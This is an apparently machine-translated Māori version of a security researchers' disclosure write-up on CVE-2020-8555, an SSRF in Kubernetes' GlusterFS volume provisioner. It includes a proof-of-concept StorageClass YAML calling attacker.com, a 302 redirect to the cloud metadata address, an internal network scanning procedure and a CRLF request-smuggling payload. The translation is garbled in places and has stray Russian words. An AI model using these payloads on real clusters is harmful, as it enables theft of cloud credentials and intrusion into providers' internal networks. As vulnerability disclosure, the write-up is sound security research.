Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...

Tuhipoka. whakamaori.: Ko nga kaituhi o tenei tuhinga e korero ana i nga korero mo te pehea i taea ai e ratou te kite i te whakaraeraetanga CVE-2020–8555 i Kubernetes. Ahakoa i te tuatahi kaore i tino kino te ahua, i te taha o etahi atu mea ka puta ko te mea tino nui mo etahi kaiwhakarato kapua. He maha nga whakahaere i whakawhiwhia ki nga tohunga mo a raatau mahi.

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...

Ko wai tatou

E rua matou nga kairangahau haumaru Wīwī i kitea tahi he whakaraeraetanga i Kubernetes. Ko o matou ingoa ko Brice Augras me Christophe Hauquiert, engari i runga i te maha o nga papaaho Bug Bounty e mohiotia ana matou ko Reeverzax me Hach:

He aha te mea i tupu?

Ko tenei tuhinga ko ta matou huarahi ki te tiri me pehea te huri ohorere o te kaupapa rangahau noa ki te tino whakaihiihi i roto i te oranga o nga kaiwhaiwhai pepeke (he iti rawa mo naianei).

Kei te mohio pea koe, he rua nga ahuatanga rongonui o nga kaiwhaiwhai bug:

  • noho ratou i runga i te pizza me te pia;
  • e mahi ana i te wa e moe ana te katoa.

Kaore matou i te rereke ki enei ture: ko te nuinga o nga wa ka hui matou i nga wiki ka noho nga po kore moe ki te hacking. Engari ko tetahi o enei po ka mutu i runga i te ahua rereke.

I te tuatahi ka hui matou ki te korero mo te whai waahi CTF te ra i muri mai. I te wa o te korerorero mo te haumarutanga o Kubernetes i roto i te taiao ratonga whakahaere, i mahara matou ki te whakaaro tawhito o SSRF (Tiaki Tiaki Taha-Tumau) ka whakatau ki te ngana ki te whakamahi hei tuhinga whakaeke.

I te 11 i te ahiahi ka noho matou ki te rangahau, ka moe moata i te ata, tino makona ki nga hua. Na tenei rangahau i tae atu matou ki te kaupapa MSRC Bug Bounty, a, i puta mai he painga mo te pikinga ake.

He maha nga wiki/marama kua pahemo, a ko ta matou hua ohorere i puta ko tetahi o nga utu nui rawa atu i roto i te hitori o te Azure Cloud Bug Bounty - i tua atu i tera i whakawhiwhia mai e Kubernetes!

I runga i ta maatau kaupapa rangahau, i whakaputaina e te Komiti Haumarutanga Hua Kubernetes CVE-2020–8555.

Inaianei kei te pirangi au ki te hora korero mo te whakaraeraetanga i kitea i nga wa katoa ka taea. Ko te tumanako ka maioha koe ki te rapu me te tiri i nga korero hangarau ki etahi atu mema o te hapori infosec!

No reira ko ta matou korero...

Horopaki

Kia tino marama ai nga mea i tupu, me titiro tuatahi ki te mahi a Kubernetes i roto i te taiao whakahaere kapua.

Ina tukuna e koe he huinga Kubernetes i roto i taua taiao, ko te paparanga whakahaere te tikanga ma te kaiwhakarato kapua:

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...
Ko te paparanga mana kei te paenga o te kaiwhakarato kapua, ko nga pona Kubernetes kei te paenga o te kaihoko.

Ki te toha hihiko nga pukapuka, ka whakamahia he tikanga ki te whakarato hihiko mai i te tuara rokiroki o waho me te whakatairite ki te PVC (kerēme rōrahi tohe, ara he tono mo te rōrahi).

Na, i muri i te hanganga o te PVC ka herea ki te StorageClass i roto i te roopu K8s, ko etahi atu mahi hei whakarato i te rōrahi ka mauhia e te kaiwhakahaere kube/cloud controller (ko tona ingoa tika kei runga i te tuku). (Tuhipoka. whakamaori.: Kua tuhia e matou etahi atu korero mo CCM ma te whakamahi i te tauira o tana whakatinanatanga mo tetahi o nga kaiwhakarato kapua konei.)

He maha nga momo kaiwhakarato e tautokohia ana e Kubernetes: ko te nuinga kei roto matua orchestrator, ko etahi atu kei te whakahaeretia e etahi atu kaiwhakarato ka tuuhia ki roto i nga poro i roto i te tautau.

I roto i ta maatau rangahau, i aro atu matou ki te tikanga whakawhiwhinga o roto, e whakaatuhia ana i raro nei:

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...
Te whakaratonga hihiko o nga pukapuka ma te whakamahi i te Kaituku Kubernetes i roto

I te poto, i te wa e tukuna ana a Kubernetes ki roto i te taiao whakahaere, ko te kaiwhakahaere kaiwhakahaere te kawenga o te kaiwhakarato kapua, engari ko te tono hanga rōrahi (nama 3 i te hoahoa i runga ake nei) ka waiho i te whatunga o roto o te kaiwhakarato kapua. A koinei te waahi ka tino pai nga mea!

Te tauari hacking

I roto i tenei waahanga, ka whakamaramahia e maatau te painga o te rerenga mahi kua whakahuahia i runga ake nei me te uru atu ki nga rauemi o roto o te kaiwhakarato ratonga kapua. Ka whakaatu hoki ki a koe me pehea e taea ai e koe etahi mahi, penei i te whiwhi tohu o roto, te whakanui ake ranei i nga mana.

Kotahi te whawhe ngawari (i tenei keehi, Te Tiaki Tono Taha Ratonga) i awhina ki te haere ki tua atu o te taiao o te kiritaki ki roto i nga tautau o nga momo kaiwhakarato ratonga i raro i nga K8 whakahaere.

I roto i ta maatau rangahau i arotahi matou ki te kaiwhakarato GlusterFS. Ahakoa te mea ko te raupapa o nga mahi e whakaahuahia ana i roto i tenei horopaki, ko Quobyte, StorageOS me ScaleIO he whakaraeraetanga ano.

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...
Te kino o te tikanga whakarato rōrahi hihiri

I roto i te tātaritanga akomanga rokiroki GlusterFS i roto i te waehere puna kiritaki Golang tatou kitei runga i te tono HTTP tuatahi (3) i tukuna i te wa o te waihanga rōrahi, ki te mutunga o te URL ritenga i te tawhā resturl kei te tapirihia /volumes.

I whakatau matou ki te whakakore i tenei ara taapiri ma te taapiri # i roto i te tawhā resturl. Anei te whirihoranga YAML tuatahi i whakamahia e matou ki te whakamatautau mo te whakaraeraetanga SSRF ahua-matapo (ka taea e koe te panui atu mo te SSRF ahua-matapo, haurua-matapo ranei, hei tauira, konei — āhua. whakawhiti.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Na ka whakamahia e matou te rua ki te whakahaere mamao i te roopu Kubernetes kubectl. Ko te tikanga, ko nga kaiwhakarato kapua (Azure, Google, AWS, me etahi atu) ka taea e koe te tiki tohu mo te whakamahi i tenei taputapu.

Na tenei, i taea e au te whakamahi i taku konae "motuhake". I mahia e Kube-controller-manager te tono HTTP i puta:

kubectl create -f sc-poc.yaml

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...
Ko te whakautu mai i te tirohanga a te kaitukino

I muri tata mai i tenei, i taea ano e matou te whiwhi urupare HTTP mai i te tūmau i whäia - na roto i nga whakahau describe pvc ranei get events i te kubectl. Ae ra: he tino korero tenei taraiwa Kubernetes taunoa i roto i ana panui whakatupato/hapa...

Anei tetahi tauira me te hono ki https://www.google.frwhakaturia hei tawhā resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...

I roto i tenei huarahi, i whakawhäitihia matou ki nga uiui penei HTTP POST a kaore i taea te tiki i nga ihirangi o te tinana whakautu mena ko te waehere whakahoki 201. Na reira, i whakatau matou ki te whakahaere rangahau taapiri me te whakawhānui ake i tenei ahuatanga hacking me nga huarahi hou.

Te whanaketanga o ta maatau rangahau

  • Tauari Arā Atu Anō #1: Te whakamahi i te 302 redirect from a external server to change the HTTP method to provide a flexible way to collect internal data.
  • Tauari Arā Atu Anō #2: Whakaaunoa i te matawai LAN me te kitenga rauemi o roto.
  • Tauari matatau #3: te whakamahi i te HTTP CRLF + smuggling (“tono smuggling”) ki te hanga i nga tono HTTP whakangao me te tiki raraunga i tangohia mai i nga raarangi kube-controller.

Whakatakotoranga Hangarau

  • I whakamahia e te rangahau te Ratonga Azure Kubernetes (AKS) me te putanga Kubernetes 1.12 i te rohe o Te Tai Tokerau o Europe.
  • Ko nga ahuatanga i whakaahuatia i runga ake nei i mahia i runga i nga putanga hou o Kubernetes, haunga te tuatoru o nga ahuatanga, na te mea i hiahia ia ki te hanga Kubernetes me te putanga Golang ≤ 1.12.
  • Tūmau waho a te Kaiwhai - https://attacker.com.

Tauari Arā Atu Anō #1: Te anga anō i te tono HTTP POST ki te tiki me te whiwhi raraunga tairongo

Ko te tikanga taketake i pai ake e te whirihoranga o te tūmau o te kaiwhai kia hoki mai 302 HTTP Retcodeki te huri i te tono POST ki te tono GET (taahiraa 4 i te hoahoa):

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...

Ko te tono tuatahi (3) mai i te kiritaki GlusterFS (Kaiwhakahaere Mana), he momo POST. Ma te whai i enei mahi i taea e matou te huri hei GET:

  • Hei tawhā resturl i roto i te StorageClass kua tohuhia http://attacker.com/redirect.php.
  • Aronga https://attacker.com/redirect.php ka whakautu me te waehere mana 302 HTTP me te Pane Tauwāhi e whai ake nei: http://169.254.169.254. Ka taea e tenei tetahi atu rauemi o-roto - i tenei keehi, ka whakamahia te hononga anga hei tauira anake.
  • i te taunoa net/http whare pukapuka Ka tukuna e Golang te tono me te huri i te POST ki te GET me te tohu mana 302, ka puta he tono HTTP GET ki te rauemi i whaaia.

Hei panui i te tinana whakautu HTTP me mahi koe describe Ahanoa PVC:

kubectl describe pvc xxx

Anei tetahi tauira o te whakautu HTTP i te whakatakotoranga JSON i taea e matou te whiwhi:

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...

Ko nga kaha o te whakaraeraetanga i kitea i tera wa i iti na runga i nga waahanga e whai ake nei:

  • Te kore e taea te whakauru pane HTTP ki te tono puta.
  • Te kore e taea te mahi i te tono POST me nga tawhā i roto i te tinana (he watea tenei ki te tono i te uara matua mai i tetahi tauira etcd e rere ana 2379 tauranga mena ka whakamahia te HTTP kaore i whakamunatia).
  • Ko te kore e kaha ki te tiki i nga ihirangi tinana whakautu i te wa ko te waehere mana ko 200 me te whakautu kaore he JSON Content-Momo.

Tauari matatau #2: Matawai i te whatunga paetata

I whakamahia tenei tikanga SSRF haurua matapo ki te matawai i te whatunga o roto o te kaiwhakarato kapua me te pooti i nga momo ratonga whakarongo (he tauira Metadata, Kubelet, etcd, etc.) i runga i nga whakautu. kaiwhakahaere kube.

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...

Tuatahi, i whakatauhia nga tauranga whakarongo paerewa o nga waahanga Kubernetes (8443, 10250, 10251, me etahi atu), katahi me whakaaunoa i te mahi matawai.

I te kitenga he tino motuhake tenei tikanga mo te matawai rauemi, kaore i te hototahi ki nga matawai matarohia me nga taputapu SSRF, i whakatau matou ki te hanga i a matou ake kaimahi i roto i te tuhinga bash e whakaaunoa ana i te katoa o te mahi.

Hei tauira, kia tere te matawai i te awhe 172.16.0.0/12 o te whatunga o roto, 15 nga kaimahi i whakarewahia ki te whakarara. Ko te awhe IP i runga ake nei kua tohua hei tauira anake, ka huri pea ki te awhe IP o to kaiwhakarato ratonga.

Hei matawai i tetahi wahitau IP me tetahi tauranga, me mahi e koe enei e whai ake nei:

  • mukua te StorageClass kua tirohia;
  • tango i te Kereeme Rōrahi Tonu o mua kua whakamanahia;
  • Hurihia nga uara IP me te Tauranga i roto sc.yaml;
  • hanga he StorageClass me te IP hou me te tauranga;
  • hanga he PVC hou;
  • tangohia nga hua matawai ma te whakamahi whakaahua mo te PVC.

Tauari matatau #3: Werohia CRLF + whakangao HTTP i roto i nga putanga "tawhito" o te roopu Kubernetes

Mena i tua atu i tenei ka tukuna e te kaiwhakarato ki nga kaihoko nga putanga tawhito o te roopu K8s и i hoatu ki a ratou te uru ki nga raarangi kube-controller-manager, ka nui ake te painga.

He tino watea ake mo te tangata whakaeke ki te whakarereke i nga tono HTTP i hangaia kia whiwhi whakautu HTTP katoa i runga i tana whakaaro.

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...

Hei whakatinana i te ahuatanga whakamutunga, me tutuki nga tikanga e whai ake nei:

  • Me whai uru te kaiwhakamahi ki nga raarangi kube-controller-manager (penei, hei tauira, i roto i te Azure LogInsights).
  • Me whakamahi te roopu Kubernetes i te putanga o Golang iti iho i te 1.12.

I tukuna e matou he taiao-a-rohe e whakatairite ana i te whakawhitiwhiti korero i waenga i te kiritaki GlusterFS Go me tetahi kaitoro whaarangi rūpahu (ka kore matou e whakaputa i te PoC inaianei).

I kitea whakaraeraetanga, e pa ana ki nga putanga Golang iti iho i te 1.12 me te tuku i nga kaiwhai ki te kawe i nga whakaeke HTTP smuggling/CRLF.

Ma te whakakotahi i te SSRF haurua-matapo kua whakaahuahia i runga ake nei вместе na tenei, i taea e matou te tuku tono ki ta matou i pai ai, tae atu ki te whakakapi i nga pane, te tikanga HTTP, nga tawhā me nga raraunga, na te kube-controller-manager i mahi.

Anei he tauira o te mahi "maunu" i roto i te tawhā resturl StorageClass, e whakatinana ana i tetahi ahuatanga whakaeke rite:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Ko te hua he hapa whakautu kore tono, he karere e tuhia ana ki roto i nga raarangi kaiwhakahaere. He mihi ki te kupu kua whakahohea ma te taunoa, ka tiakina hoki nga ihirangi o te karere whakautu HTTP ki reira.

Ina ehara i te mea mo nga whakaraeraetanga Kubernetes anake...

Koinei ta matou "maunu" tino whai hua i roto i te anga o te tohu o te ariā.

Ma te whakamahi i tenei huarahi, i taea e matou te kawe i etahi o nga whakaeke e whai ake nei ki nga tautau o nga momo kaiwhakarato k8s whakahaere: te pikinga o te mana me nga tohu mo nga tauira metadata, te Kaiwhakaako DoS ma te (kaore i whakamunatia) nga tono HTTP mo nga tauira rangatira etcd, etc.

Nga paunga

I roto i te korero whai mana a Kubernetes mo te whakaraeraetanga SSRF i kitea e matou, i whakatauhia CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Mena ka whakaarohia e tatou te whakaraeraetanga e pa ana ki te paenga Kubernetes, te vector tapatahi (veita tapatahi) ka tohu hei kahore.

Heoi, ko te aromatawai i nga hua ka puta i roto i te horopaki o te taiao ratonga whakahaere (a koinei te waahanga tino pai o ta maatau rangahau!) i akiaki i a maatau ki te whakariterite ano i te whakaraeraetanga ki te whakatauranga. CVSS10/10 tino nui mo te maha o nga kaihoko.

Kei raro nei etahi atu korero hei awhina i a koe ki te mohio ki o maatau whakaaro i te wa e aromatawai ana i nga paanga pea ki nga taiao kapua:

Te tapatahi

  • Whakahaerehia nga whakahau ma te whakamahi i nga tohu o roto.
  • Te whakaputa i te ahuatanga o runga ake nei ma te whakamahi i te tikanga IDOR (Insecure Direct Object Reference) me etahi atu rauemi ka kitea i te whatunga rohe.

Te haumaru

  • Momo whakaeke Tuhinga o mua he mihi ki te tahae o nga tohu kapua (hei tauira, metadata API).
  • Te kohikohi korero ma te matawai i te whatunga rohe (te whakatau i te putanga SSH, te putanga tūmau HTTP, ...).
  • Kohia nga korero tauira me nga hanganga ma te pooti i nga API o roto penei i te metadata API (http://169.254.169.254,…).
  • Te tahae i nga raraunga kaihoko ma te whakamahi i nga tohu tohu kapua.

Kei te wātea

Katoa te whakamahi i nga ahuatanga e pa ana ki te whakaeke i nga vectors tapatahi, ka taea te whakamahi mo nga mahi kino me te arahi ki nga tauira rangatira mai i te paenga kiritaki (tetahi atu ranei) kaore i te waatea.

I te mea kei roto matou i te taiao K8s whakahaere me te aromatawai i te paanga ki te pono, ka taea e matou te whakaaro he maha nga ahuatanga ka pa ki te waatea. Ko etahi atu tauira ko te whakakino i te patengi raraunga etcd, te waea nui ranei ki te Kubernetes API.

Timeline

  • Hakihea 6, 2019: Ko te whakaraeraetanga ki te MSRC Bug Bounty.
  • Hanuere 3, 2020: I korero tetahi tuatoru ki nga kaiwhakawhanake Kubernetes kei te mahi matou i tetahi take haumarutanga. A ka tono ki a ratou kia whakaarohia te SSRF hei whakaraeraetanga o roto (roto-matua). Ka tukuna e matou he purongo whanui me nga korero hangarau mo te puna o te raru.
  • Hanuere 15, 2020: I tukuna e matou he purongo hangarau me te whanui ki nga kaihanga Kubernetes i runga i ta raatau tono (ma te papaaho HackerOne).
  • Hanuere 15, 2020: Ko nga kaiwhakawhanake Kubernetes i whakamohio mai ko te haurua matapo SSRF + CRLF werohanga mo nga tukunga o mua ka kiia he whakaraerae-a-roto. I mutu tonu ta matou wetewete i nga paenga o etahi atu kaiwhakarato ratonga: kei te mahi te roopu K8s inaianei mo te take pakiaka.
  • Hanuere 15, 2020: Ko te utu MSRC i whakawhiwhia ma HackerOne.
  • Hanuere 16, 2020: I mohio a Kubernetes PSC (Komiti Haumarutanga Hua) ki te whakaraeraetanga me te tono kia hunahia kia tae noa ki waenganui o Maehe na te nui o te hunga kua mate.
  • Hui-tanguru 11, 2020: Kua whiwhi utu a Google VRP.
  • Poutū-te-rangi 4, 2020: Ka whakawhiwhia te utu a Kubernetes na HackerOne.
  • Poutū-te-rangi 15, 2020: I whakatarewahia te whakapuakitanga a te iwi i te tuatahi na te ahuatanga COVID-19.
  • Pipiri 1, 2020: Kubernetes + Microsoft korero tahi mo te whakaraeraetanga.

TL; DR

  • Ka inu pia me te kai pizza :)
  • I kitea e matou he whakaraeraetanga-a-roto i Kubernetes, ahakoa kaore matou i whai whakaaro ki te pera.
  • I whakahaerehia e matou etahi atu tātaritanga mo nga tautau o nga kaiwhakarato kapua rereke ka taea e matou te whakanui ake i te kino i puta mai i te whakaraeraetanga ki te whiwhi putea whakamataku.
  • Ka kitea e koe he maha nga korero hangarau i roto i tenei tuhinga. Ka koa matou ki te korero ki a koe (Twitter: @ReeverZax & @__hach_).
  • I puta mai he roa ake te roa o nga momo tikanga me nga purongo katoa i te mea i tumanakohia.

tohutoro

PS mai i te kaiwhakamaori

Pānuihia hoki i runga i ta maatau blog:

Source: will.com

Tāpiri i te kōrero